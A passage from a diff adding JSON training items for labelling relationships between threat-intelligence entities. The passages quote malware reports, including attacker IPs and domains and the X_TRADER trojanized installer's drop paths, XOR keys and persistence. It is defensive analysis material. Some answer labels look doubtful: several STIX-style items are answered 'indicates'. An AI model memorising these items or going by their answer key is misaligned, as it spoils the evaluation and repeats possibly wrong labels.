2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nCranefly\n### Target Entity: Regeorg\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nAttribution\nHacktool.Regeorg has been used by multiple advanced persistent threat (APT) groups in the past, but as this code is publicly available on GitHub, its use does not offer sufficient clues for attribution. Symantec was unable to link this activity to any known groups.\nThe use of a novel technique and custom tools, as well as the steps taken to hide traces of this activity on victim machines, indicate that Cranefly is a fairly skilled threat actor. While we do not see data being exfiltrated from victim machines, the tools deployed and efforts taken to conceal this activity indicate that the most likely motivation for this group is intelligence gathering.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nX_TRADER_r7.17.90p608.exe\n### Target Entity: Trojanized installer\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nwinscard.dll\n### Target Entity: X_Trader\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nmsvcr100.dll\n### Target Entity: X_Trader\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6\n### Target Entity: Trojanized installer\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43\n### Target Entity: Trojanized installer\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nX_TRADER-ja.mst\n### Target Entity: Trojanized installer\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nSetup.exe\n### Target Entity: Trojanized installer\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nX_Trader\n### Target Entity: Trojanized installer\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 